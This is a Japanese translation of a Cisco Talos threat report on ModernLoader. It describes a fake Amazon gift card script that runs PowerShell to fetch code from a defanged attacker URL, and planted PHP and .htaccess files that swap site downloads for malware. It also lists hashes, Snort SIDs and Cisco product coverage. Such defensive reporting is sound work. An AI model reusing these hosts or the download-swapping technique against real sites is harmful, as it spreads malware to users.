分析者へのメッセージ
Amazon からのオファーに見せかけたものをアーカイブに追加
この手法は、テレメトリで感染したシステムの 1 つで確認されました。Amazon.com Gift Card 500 USD.gift.hta という偽の Amazon バウチャーが、感染したシステムにすでに存在する RAR、7-Zip、ZIP などのアーカイブファイルに追加されたことを確認しています。各ファイルのチェックサムは異なります。これは、検出を回避するために軽度の難読化が使用されていることを示唆しています。
感染したシステムからこれらの HTA ファイルを取得することはできませんでしたが、VirusTotal で関連ファイル(5750d8d557fdcb6afb2d8cb52993fb07ac84a63aab0afc44efe30ffe08d48c2f)が見つかりました。このファイルには 62[.]204[.]41[.]71 と通信するためのコードが含まれています。ファイル名は「Amazon Gift Card 500 USD.gift.vbs」です。スクリプトはまず PowerShell を呼び出して、hxxp://62[.]204[.]41[.]71/SPM/Spam.o’ という URL からコードをダウンロードして実行しようとします。次に、URL 短縮サービスで作成したリンク hxxps://goo[.]su/DaqHw をブラウザで開きます。このページで、500 米ドル相当の無料の Amazon ギフトカードを装ったものを提供しています。
PHP スクリプト
攻撃者は、脆弱な Web アプリケーションを侵害し、構成を変更して悪意のある PHP スクリプトが実行されるようにすることで、侵害されたアプリケーションのユーザーに悪意のあるコンテンツを提供しようとしているものと見られます。
artadd.php(9704fa1a8242643f66572e7ee68e4e7d7bec9e7054319b8551fed4b3b0ccdd45)というファイルが、侵害された WordPress および CPanel アプリケーションのいくつかのインスタンスで見つかっています。このファイルは、非常に単純な難読化スキームで難読化されています。最終的には、futer.php(a249c275b0ad384ae1906d2ec169f77abce9d712ab8470eb5fe7040a71948026)と .htaccess(f013d15d2203ec6a90be789d4b58c99ca7e42d9beedb9c4c0b05f599e2eb0ea0)という追加のコンポーネントを 62[.]204[.]41[.]192 からダウンロードするコードを実行します。
侵害されたアプリケーションの PHP スクリプトが、追加のコンポーネントをダウンロード
この事例の場合、.htaccess ファイルの機能は、拡張子が .zip、.exe、.rar のサイト上のファイルにブラウザがアクセスした場合に、futer.php へのリダイレクトを構成することです。要求されたファイルの拡張子が上記と一致する場合、futer.php はコードを実行して攻撃者のコマンドアンドコントロール(C2)サーバーからファイルを取得し、要求された実行ファイルの代わりにそのファイルを提供します。
要求されたファイルを C2 サーバーから取得した悪意のあるファイルに置き換えようとする PHP ファイル
まとめ
今回の記事では、6 月に発見された 3 つの攻撃で特に注目すべき部分について説明しています。これらの攻撃から、攻撃者がさまざまなテクノロジーを試していることが分かります。既製のツールを使用しているのは、攻撃者がマルウェア攻撃の成功に必要な TTP を理解しているものの、独自のツールを完全に開発できるだけの技術的スキルはないことの表れです。ただ、既製のツールを使用したことで、攻撃者グループの運用上のセキュリティが向上することになりました。また、攻撃の背後にいる黒幕についても、ロシア語話者と思われること以外、特定につながる明らかな証拠はありません。
最新の ModernLoader 攻撃のモジュール
今回の攻撃者は、目的を達成するために、オープンソース コンポーネントとコードジェネレータを多用しています。多数のリモートアクセスツール、情報窃取マルウェア、仮想通貨マイナーを攻撃に使用して、最終的に金銭的利益を得ているのです。他にも、侵害された Web アプリケーション、アーカイブを利用した感染、Discord ウェブフックを使用した拡散など、複数のチャネルを介して脅威をばらまくことに目を向けています。なお、今回の攻撃にはあらゆる手法や戦術が駆使されていますが、攻撃の成果は限定的なものと推測しています。Cisco Talos は、利用可能なすべてのソースを引き続き監視し、同様の攻撃の兆候を探っていきます。
カバレッジ
今回の脅威は、以下の製品で検出してブロックすることが可能です。
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、
Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからお申し込みください。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトをテストします。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
この脅威を検出する Snort SID は、60437 ~ 60440 です。
Orbital クエリ
Cisco Secure Endpoint ユーザーは、Orbital Advanced Search を使用して複雑な OSquery を実行し、エンドポイントが特定の脅威に感染しているかどうかを確認できます。類似の脅威に対応する osquery の具体例については、こちらをクリックしてください。
侵害の兆候
この脅威に関連する侵害の兆候は、こちらをご覧ください。
本稿は 2022 年 08 月 30 日に Talos Group のブログに投稿された「ModernLoader delivers multiple stealers, cryptominers and RATs」の抄訳です。